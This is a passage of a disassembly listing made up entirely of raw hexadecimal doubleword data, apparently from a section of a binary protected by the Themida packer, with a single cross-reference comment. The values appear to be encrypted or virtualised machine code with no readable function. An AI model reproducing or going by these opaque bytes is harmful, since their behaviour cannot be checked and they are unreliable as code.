		dd 2B98CC4Fh, 64E49242h, 0F3BD38D4h, 3489585Ah,	56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 75B8AA71h, 979ED2C7h, 0D381C7A6h, 71457F6Bh,	0CD8D8960h
		dd 0F05E931h, 38Eh, 4CCE8000h, 0CEB5FF61h, 6A05ECBAh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 3B1FC352h, 0C2EA8242h, 8D291EE9h, 5E91679h, 2F6195FFh
		dd 9E905E9h, 0B4000000h, 0F541DAC5h, 5DA0D377h,	0BACEB5FFh
		dd 6A05ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 9DA85C3h,	0E904C185h, 0B5BD8905h,	0FF05E932h
		dd 0E92DC595h, 0BE805h,	7EEA0000h, 4029768Ch, 37C50BBDh
		dd 68D0FBAh, 8B000000h,	0E911099Dh, 0BD835F05h,	5E903FDh
		dd 38840F02h, 0FC000000h, 3055858Bh, 0B9BF05E9h, 0C618065Dh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 8B48E7C3h, 0E90E519Dh, 658D8905h,	0C705E91Fh
		dd 0E927A985h, 5, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 2C16B27Bh, 27E9C533h
		dd 6AFFFFF3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 9B57C350h, 0B858A47Fh,	8BC247B3h
		dd 57006AC1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 179651C7h, 82C85B21h, 0E9BD8B28h, 8D05E905h
		dd 0E921E585h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 6F9EDAE0h, 820F9047h
		dd 0
		dd 90FB8B50h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 16h,	56C35242h, 0BD0911D3h, 5E91F41h, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 8FCC74C3h, 867521E9h, 66325779h, 6A4DA9BBh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 4586C9E9h, 3E55BD92h, 0DF817BEDh, 52B43AC0h,	2219D8Bh
		dd 858D05E9h, 5EE150Eh,	9D035CB7h, 5E92359h, 6A05C083h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 5C0CC357h, 6BB66F3h, 9E950BCh, 29000000h
		dd 0C9C318E6h, 95CDFCE8h, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0F2BBC353h
		dd 0DE7CC47Eh, 8BF4A230h, 0E9023D9Dh, 9006A05h,	0E916D98Dh
		dd 60006A05h, 0CE9h, 42F67900h,	645213AFh, 4A70C56Ah, 0FD8D8B96h
		dd 6105E91Dh, 0AA195FFh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0BA7716C3h, 871D517h
		dd 8D8FCD9Eh, 0ECADBF8Dh, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 6DC74650h
		dd 8B0E4619h, 1145BD89h, 0B58905E9h, 5E92445h, 0DE8AD1FFh
		dd 1BDBD83h, 0F0105E9h,	5A85h, 0B1BB6600h, 6A026AE9h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 25CBC350h, 9D8BB289h, 5E93169h, 0FE8B6650h, 0F9240489h
		dd 0AD95FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 2BB4D2C3h, 0E9812D4Eh, 0DB3h, 0E8h
		dd 0ED815D00h, 5EE1518h, 0DCEED781h, 6A507Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 89B1C5C3h
		dd 0E90F5D8Dh, 4B858D05h, 2B05EC90h, 0E91EE1BDh, 10E85005h
		dd 0DA000000h, 0EDF517h, 4F7FACE9h, 6957B6CDh, 5B9145CFh
		dd 56240489h, 28059D31h, 0E95F05E9h, 0Eh, 6713D27Ah, 90805577h
		dd 35EBC4CBh, 0FF649F2Fh, 35h, 64BEB700h, 2589h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0EFE606C3h, 8589118Ch, 5E90085h, 68985FFh, 0BF6605E9h
		dd 0FF6ADBA9h, 0BD8BFE8Bh, 5E92B19h, 4BDB5FFh, 6A05E9h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0FF4559C3h, 0E907C995h, 118E905h, 0B00000h, 30D59D8Bh
		dd 70E605E9h, 2820Fh, 0FB8B0000h, 3CF571E4h, 0FB830F61h
		dd 0E9000000h, 13h, 8832DB04h, 4A5F5C58h, 926A5B5Bh, 6A03F11Ch
		dd 0F701F8Ah, 0F98AC8B6h, 0DF816656h, 0BA5FC1F3h, 6, 0C18B5F56h
		dd 0D098D89h, 0E8C105E9h, 0DEBF0F04h, 8BE2F766h, 0E903559Dh
		dd 0F5C82B05h, 2850Fh, 0DA8B0000h, 8166D18Bh, 0E94BF5E7h
		dd 0A2h, 7EEBC781h, 858B1ADFh, 505F4C4Ch, 0DE8h, 319D8500h
		dd 0EA613DF8h, 0A636EBAFh, 890F6570h, 5, 8BE78166h, 0C0835BB5h
		dd 0EE807h, 0CCFC0000h,	6BFA3B37h, 6DCF818Dh, 0C8D57C51h
		dd 7E9h, 0B60ECB00h, 0FC63F092h, 0C0835Fh, 830FD03Bh, 17h
		dd 6880Fh, 95890000h, 5E90771h,	39E9h, 0C59D8900h, 8B05E924h
		dd 0FFFFFF8Dh, 0D18D89FFh, 8305E922h, 840F01E1h, 1Eh, 0B2C68060h
		dd 0FFA58361h, 0FEFFFFFFh, 4C9589F5h, 89505F4Ch, 0E928E1BDh
		dd 0E905h, 0B58D0000h, 5ED9568h, 6AFEBF0Fh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0C7240DF7h, 0FFF1A1ABh, 0E91E9595h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 53C55F5Dh, 165A4139h, 0BE8h,	0BAD33100h, 0FDB7A77Bh
		dd 0BEBEC7C1h, 0D55BD8Bh, 0B95B05E9h, 10C5h, 0F39B529h
		dd 0E18305E9h, 0BF0F60FCh, 8C0F50F3h, 0
		dd 81FC615Ah, 6A4BF7D7h, 89C02B0Ch, 0E906958Dh,	8BD22B05h
		dd 0E92865BDh, 0AD4BB705h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0DF9CC353h, 0EB4DAD58h, 0BD8B181Ch, 5E91EF1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A2C35343h
		dd 3CEABC68h, 880D1D3Dh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0E8A8C356h
		dd 863ECCD5h, 0BD8BB93Ch, 5E91639h, 11F1BD8Bh, 11E905E9h
		dd 13000000h, 99E72E99h, 0CD79EC8Ah, 0B0DD3B30h, 0CE8C565Dh
		dd 2655958Bh, 0BD0305E9h, 5E90EA1h, 8058D8Bh, 816605E9h
		dd 50470EEBh, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0FF5399Dh, 687h,	65B50100h, 8305E904h, 0E91CF1BDh
		dd 840F0005h, 8Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 24C35141h, 0E795842Eh, 816663C6h, 0B8C024EFh
		dd 0
		dd 0B527EF81h, 0CF807C33h, 6D8D8DD7h, 6A05E94Eh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 6635C355h, 0FFDC68BBh, 56006AE1h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 8CAD1167h
		dd 0BC494ECFh, 952984F5h, 5E91161h, 0B96B8FBBh,	3DBD831Ch
		dd 5E916h, 4A9840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0D826DCC3h, 8145B3CDh
		dd 2FF9D6C7h, 3DBD8371h, 105E916h, 490840Fh, 0BD890000h
		dd 5E90CCDh, 163DBD83h,	0F0305E9h, 44786h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 3CFCA92Bh, 159F7ECFh, 0F600FFFh, 68Fh, 0C1953100h, 905E904h
		dd 0E90D0D95h, 0D98C6605h, 25819D8Bh, 0E18005E9h, 10E804h
		dd 9A470000h, 0CB0113B4h, 19466A47h, 88DC0969h,	0BD33C9D2h
		dd 5E917B9h, 0FC90A5Fh,	12B84h,	8A92BB00h, 858B6F01h, 5E92869h
		dd 0E9F88B66h, 0Ah, 9B6A7AF1h, 0A1835700h, 85330219h, 5E90E61h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0B2C35242h
		dd 0BD8BD727h, 5E9067Dh, 0C8BCBB90h, 0B7500832h, 6A901Bh
		dd 0E8F98B66h, 4, 1F03FFh, 65BAB960h, 506112F2h, 10E2BB66h
		dd 424448Bh, 14E8h, 0B3CCD800h,	139E763Bh, 0B0E26F53h
		dd 96609708h, 6BFCDE10h, 3830F1Fh, 66000000h, 8B5FD88Bh
		dd 12E800h, 683B0000h, 71975F9Fh, 527555DAh, 4EE7CD66h
		dd 3C17CB31h, 895F5B52h, 58042444h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 16C35747h, 0F5F85DC2h, 292D95FFh
		dd 8D8905E9h, 5E91F71h,	0BACE8589h, 6A05ECh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 59B9F8C3h
		dd 0A42D8383h, 0DD858956h, 3305E900h, 0E93241BDh, 24FE905h
		dd 0DE90000h, 9000000h,	318A1C1Dh, 8CAE6F4Fh, 0F3E1E286h
		dd 0BAC6858Bh, 6A05ECh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 27A904C3h, 26458D89h, 0EE805E9h
		dd 11000000h, 6F3041EFh, 2FD7FE79h, 60B34321h, 0F0F381D2h
		dd 5F423CE7h, 2F7DBD09h, 0C705E9h, 18h,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 37C35747h, 305D8509h
		dd 0B58B05E9h, 5ECBACAh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 0E1C35040h, 7E99Eh, 0E3330000h, 395C3247h
		dd 39858B44h, 6A05E92Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 2C6CC355h, 0F99D8B60h
		dd 8B05E904h, 0E907718Dh, 6896105h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 26C35343h, 6057B103h, 18618D8Bh
		dd 0B96605E9h, 1610283h, 0E926598Dh, 69858B05h,	8105E928h
		dd 58AFD6CFh, 4468979h,	52BB96F9h, 500145CAh, 6E960h, 0A6370000h
		dd 866181E7h, 61605250h, 0FE8310Fh, 32000000h, 0E356821h
		dd 759A3E78h, 0EFE31BA1h, 5A5E4AA3h, 0F966158h,	68Ah, 0B99D8900h
		dd 8105E917h, 483987DFh, 0C6B5FF37h, 6A05ECBAh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 6604C356h, 0B46CF81h, 8E9h, 0A934A900h, 0B6D0A4F7h
		dd 4E87Ch, 3FF0000h, 3BBB001Fh,	501E5E31h, 424448Bh, 8BD88B66h
		dd 95B7BF00h, 448957F1h, 0D3B70424h, 50006A58h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BD8B3A6Bh
		dd 5E92D85h, 0AB55C5BBh, 0BEBF6674h, 0CE858D7Eh, 6605ECBAh
		dd 8B5BCDBBh, 0E92C15BDh, 9E95005h, 2B000000h, 65B8BABEh
		dd 10584CE1h, 89240489h, 0E90FD9BDh, 2D95FF05h,	6A05E929h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 29FFC352h, 0E924BD95h, 99B52905h,	0E905E92Ah
		dd 5, 3DA751E6h, 0BD896106h, 5E93059h, 163D85C7h, 305E9h
		dd 0C7810000h, 16DFC292h, 2DBD8960h, 6105E902h,	0BACEBD83h
		dd 0F0005ECh, 4B84h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0FA20957h, 40E9D9B7h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 5F1BC355h, 0FE9B5F3h, 0A1959FFh
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 89C08B00h
		dd 0E9166DB5h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 3219B1EDh, 83F385CEh
		dd 0E9163DBDh, 850F0305h, 3F7h,	5319BF50h, 835F21D6h, 0ECBACEBDh
		dd 840F0005h, 3E3h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 19C35343h, 6E8FBB1Bh,	0B5FF3BB7h, 5ECBACEh
		dd 0EE8h, 0B92D300h, 532CB680h,	0FC1FE676h, 8B9872DAh
		dd 95FF5FD8h, 5E92B75h,	8BF88B66h, 0ECBAC2B5h, 8C0F05h
		dd 0C7000000h, 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 92C781EEh, 96643D73h
		dd 860F6060h, 0
		dd 310F5250h, 0B261585Ah, 605061EAh, 0FE8h, 0CE5E3000h
		dd 0DF1934D9h, 0D24233Fh, 8AE2B9E3h, 5AD68B66h,	8E9h, 741AB400h
		dd 3FACA97Bh, 6A966156h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0C9B4C357h,	0CEB5FF7Bh
		dd 6A05ECBAh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 5F0C353h, 655B5C74h, 89DA97A2h
		dd 0E905F1BDh, 4D95FF05h, 8905E92Bh, 0E92D159Dh, 0C2B58B05h
		dd 8B05ECBAh, 0DD858BDFh, 6A05E90Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0BFB1C352h
		dd 86896213h, 0C4h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 56C35747h, 769AB96Bh,	2655958Bh, 0BF0F05E9h
		dd 4C283FAh, 508972B3h,	57006A20h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 9D015FCFh, 5E90E3Dh, 0D055858Dh
		dd 6A05ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 7B308DC3h, 0AC38166h, 0B88689C8h,	0E8000000h
		dd 11h,	0A01FFA87h, 68EE5A29h, 8E516FD8h, 8A521152h, 8B665217h
		dd 6A5F5FDEh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 62A959EFh, 9C76994Bh, 840FFEE4h
		dd 3, 0FFDAB70Fh, 0ECBACEB5h, 0DA8B6605h, 24898531h, 95FF05E9h
		dd 5E900ADh, 0CF6DBF66h, 10E96050h, 62000000h, 29467A25h
		dd 25CFC9B0h, 0AD2E7F45h, 612C4153h, 0FF243489h, 0ECBACEB5h
		dd 0F521BF05h, 95FF4090h, 5E93231h, 2835BD8Bh, 9D8B05E9h
		dd 5E90405h, 2AB1BD83h,	0F0005E9h, 4884h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 50FD9420h, 61609646h, 0FE8B6650h, 55006A96h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0F3801972h
		dd 0CEB5FF79h, 6A05ECBAh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0FF8DC352h,	0E92F6195h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 7B73B324h, 0A1A0A75Eh, 0B5FF7ED8h, 5ECBACEh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h
dword_590368	dd 4244481h, 17h, 0F9C35545h, 0E868286Fh, 7, 0A5FED7F7h
					; DATA XREF: Themida_:00546EE0o
		dd 52596A70h, 2AE59D8Bh, 5F5B05E9h, 2DE9BD31h, 95FF05E9h
		dd 5E92DC5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	2C35747h, 83D4EB80h, 0E903FDBDh, 840F0205h, 3Dh
		dd 4543D381h, 858B1674h, 5E93055h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 5DC35343h, 0F6688C38h, 9D01D8E3h
		dd 5E9178Dh, 890000C6h,	0E92561BDh, 0A985C705h,	5E927h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0FD40C352h, 3B687724h,	0E9DA8B66h
		dd 0FFFFF362h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	93C35747h, 0C18BFB8Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0B1C35747h,	65D24C13h, 0CC7D62B3h
		dd 199D2326h, 0E905E928h, 0Fh, 30B78440h, 2A5D9C45h, 3263FE6Dh
		dd 8DDC4400h, 0E921E585h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 48DF0CC7h
		dd 66904D27h, 6650FB8Bh, 8990DE8Bh, 0E90915BDh,	6A006A05h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0F1EC351h, 680h, 0B9BD8B00h, 2B05E927h, 0E919299Dh
		dd 0E8006A05h, 0Ah, 971527E0h, 315638E7h, 9D33BDE3h, 5E91845h
		dd 98858D5Bh, 0F05EE24h, 0F960DFB7h, 96C3B966h,	5C08361h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 40C35040h
		dd 0F519D8Bh, 665005E9h, 89F133BFh, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 6F6A36C3h
		dd 0F1C1213h, 830FFFBFh, 6, 28E98531h, 6A05E9h,	100D9D8Bh
		dd 6A05E9h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 15h,	18C35141h, 55B531FCh, 0FF05E910h, 0E90AA195h, 9D31FC05h
		dd 5E91D75h, 0ADBF8D8Dh, 6A05ECh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0CE949C3h, 82000000h
		dd 73924BCDh, 2E260AC8h, 0FFED4B76h, 14E8D1h, 0FCEC0000h
		dd 0DC5D8691h, 2A1A4A9Ch, 0A4E3E44h, 55B045CCh,	0B70FD013h
		dd 0BD835FFBh, 5E901BDh, 4E850F01h, 0E8000000h,	10h, 0CACD9B7Dh
		dd 0BDBDEAFFh, 0BC82D4E6h, 6A1A0AC4h, 0EDB58960h, 305E908h
		dd 0E915F9B5h, 6A5F6105h, 0BE902h, 0AD890000h, 6A0C2474h
		dd 0E5B2985Dh, 0FA8A5004h, 8B240489h, 0E91F0DBDh, 0AD95FF05h
		dd 8905E900h, 0E91EB5B5h, 0CCDE905h, 0E80000h, 5D000000h
		dd 24A2ED81h, 6AFC05EEh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 921FC352h, 0D5BD89FFh
		dd 8D05E904h, 0EC904B85h, 11E905h, 7900000h, 0A7E527B0h
		dd 597134F1h, 0F525FFCBh, 503C9573h, 89F88B66h,	6A2404h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0B0FB5C3h, 9D8B60EFh, 5E900C5h, 61C0B70Fh, 35FF64h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 7072C357h, 25896451h, 0
		dd 10E8h, 0C5640300h, 314408Ah,	1B0B2B5Fh, 92ED1F5Dh, 9503BF55h
		dd 0FF5B2A8Dh, 0E9068985h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 900A9AA5h
		dd 29771B95h, 0EB9DBBB7h, 0FF6A3780h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 20C35747h, 66812F37h, 36F2D781h
		dd 321DB5FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 13CA89C3h, 9A9349DFh, 0C995FF28h
		dd 0E905E907h, 106h, 0CE9h, 82328500h, 7B4F1D7Ah, 0E66B653Ah
		dd 2D7DBBBAh, 0B04219h,	1285BD23h, 70E605E9h, 6671E4F9h
		dd 0BB8AEF81h, 830F613Ch, 0D6h,	3DBD8B52h, 5F05E930h, 0F8C8B60Fh
		dd 3B59D2Bh, 6BA05E9h, 31000000h, 0E910A5BDh, 0C1C18B05h
		dd 0F88B04E8h, 56E2F766h, 6870Fh, 0B5290000h, 5E90375h
		dd 8BC82B5Bh, 0E931AD9Dh, 8BD18B05h, 0E92B159Dh, 8CE905h
		dd 0EE90000h, 70000000h, 66C5D82Eh, 0ECC0D07Eh,	0AD69056Fh
		dd 4C858BD4h, 83494755h, 0B4B707C0h, 4058509h, 0C08305E9h
		dd 0D03BF900h, 11830Fh,	9D330000h, 5E928DDh, 51E9h, 0FD9D0100h
		dd 8B05E907h, 0FFFFFF8Dh, 0F2E381FFh, 8368209Ch, 840F01E1h
		dd 36h,	6D78153h, 5B6E7E81h, 0FFFFA583h, 0E9FEFFFFh, 11h
		dd 4AC343F1h, 86763347h, 93A34624h, 619E5414h, 4C958985h
		dd 8B494755h, 0E90B5D9Dh, 0E905h, 0B58D0000h, 5EDA62Dh
		dd 12E9h, 3AA3DF00h, 60A666FDh,	0B3FE3D8Fh, 6EF1214Dh
		dd 6A902867h, 95FFF500h, 5E91E95h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 7EC35343h, 0F0522747h, 382C95A3h
		dd 51BD89A5h, 5705E924h, 0FE1BD2Bh, 0B95F05E9h,	100Ah
		dd 26659D0Bh, 0E18305E9h, 0F4BB66FCh, 0BD8BFC08h, 5E924A5h
		dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 9F7B12C3h, 99314C08h, 0DE8BA46Ch,	6AD22Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0C211A2C3h, 185893Eh, 5005E932h, 33AD5BF9h, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0B0AC8CC3h, 6ADF8B66h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 61D9C351h, 0AA76BF2Eh, 32BBCA07h, 0D531CA0h,	88h, 1651BD8Bh
		dd 958B05E9h, 5E92655h,	850BF560h, 5E90CE5h, 58D8B61h
		dd 0E905E908h, 0Ah, 5F8F12ECh, 59E83CC7h, 8B50C2CCh, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0ABC35242h,	0F51E3E5h, 6AD8BFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 7BA9D0C3h, 83467D8Ch, 0E91CF1BDh, 840F0005h,	80h, 8B11E781h
		dd 0B81C75h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 8D8FC356h, 0F0C515Dh
		dd 582h, 0D87BB00h, 8D8D60E3h, 5E94E6Dh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 45C35141h, 4EC6D899h
		dd 0F18A60E2h, 0BE8h, 64CA3000h, 84627862h, 294D2BC9h
		dd 6158589h, 615905E9h,	9D8BE1FFh, 5E92811h, 163DBD83h
		dd 0F0005E9h, 42B84h, 3DBD8300h, 105E916h, 439840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 323942C3h, 187B9AEh,	163DBD83h, 0F0305E9h, 3D486h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 444C4DF4h, 5CC4DE68h, 8B665A0Bh, 6A60F8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F81138C3h
		dd 5BA1351Dh, 10E8h, 33CB7D00h,	7FBFED3Ah, 0CB1F4BF8h
		dd 318F2495h, 0FE8B51DAh, 8C0F5B5Bh, 1,	0D98C66F9h, 0E180DA8Bh
		dd 0FAB70F04h, 840FC90Ah, 10Eh,	2E398D89h, 858B05E9h, 5E92869h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0CAC35141h
		dd 0B3745243h, 7ABB6643h, 330BB3E2h, 0E90E6185h, 0D8BF0F05h
		dd 4BBF6690h, 8E95017h,	0A3000000h, 0B14738AEh,	909767F3h
		dd 6ADE8Bh, 91BD8Bh, 456805E9h,	50173FEAh, 12E852h, 30FC0000h
		dd 39D4F350h, 8326690Ch, 98DFDC66h, 7C1F66C4h, 7BA824BBh
		dd 310F5F05h, 0C850Fh, 7E90000h, 32000000h, 0E5FC0D9h
		dd 585A25C2h, 0BA243481h, 0BB1720E9h, 7BF337h, 292D95FFh
		dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0E8CBB5C3h, 0Ch, 2F8D01FDh, 12AA1367h, 6D08766Dh
		dd 24E5BD8Bh, 895B05E9h, 0ECBACE85h, 56006A05h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0B7788DC0h
		dd 0E9D98B66h, 198h, 328D9D8Bh,	858B05E9h, 5ECBAC6h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 97C35545h, 66F4466Fh
		dd 0C7FCFE8Bh, 1800h, 7CF38100h, 8B3D8334h, 0ECBACAB5h
		dd 0F88B6605h, 2F39858Bh, 0E78105E9h, 5829AD31h, 95890689h
		dd 5E9268Dh, 2869858Bh,	950105E9h, 5E912BDh, 6A044689h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 40BCC355h, 54944956h, 6EBF661Eh, 525050F2h
		dd 588CBB66h, 860F310Fh, 5, 71FA24BFh, 89585A5Bh, 6A2434h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 21CF85C3h, 1EF6ADE3h, 10318D89h, 18BF05E9h, 0FF358AFEh
		dd 0ECBAC6B5h, 9E805h, 50CA0000h, 5942704Dh, 60487DC6h
		dd 0F68166F5h, 5F612FDEh, 0FF5BD03h, 596805E9h,	8B31EE0Ch
		dd 243481D8h, 31F10FA6h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 12C35141h, 0DEA3234Ch, 29DD2A6Dh, 6850FFDh
		dd 89000000h, 0E901ED9Dh, 0CE858D05h, 6A05ECBAh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 2905C356h, 0E927F1BDh, 0CE89005h, 49000000h,	2861CB1Bh
		dd 4E9C001Ah, 0E99E9B18h, 0Ch, 36E8B32Bh, 9A0FDEB5h, 27739F6Ch
		dd 5250505Fh, 310FCFB7h, 5ADA8B66h, 66B79058h, 292D95FFh
		dd 0DA8B05E9h, 51006A61h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 8A668991h, 0BB2177A3h
		dd 8166856Dh, 314702C7h, 0E92D1995h, 1952905h, 0C705E92Fh
		dd 0E9163D85h, 305h, 6850F00h, 89000000h, 0E902C195h, 0B5036005h
		dd 5E91701h, 61CE8B66h,	0BACEBD83h, 0F0005ECh, 5084h, 0B9BD8900h
		dd 0E905E926h, 60h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
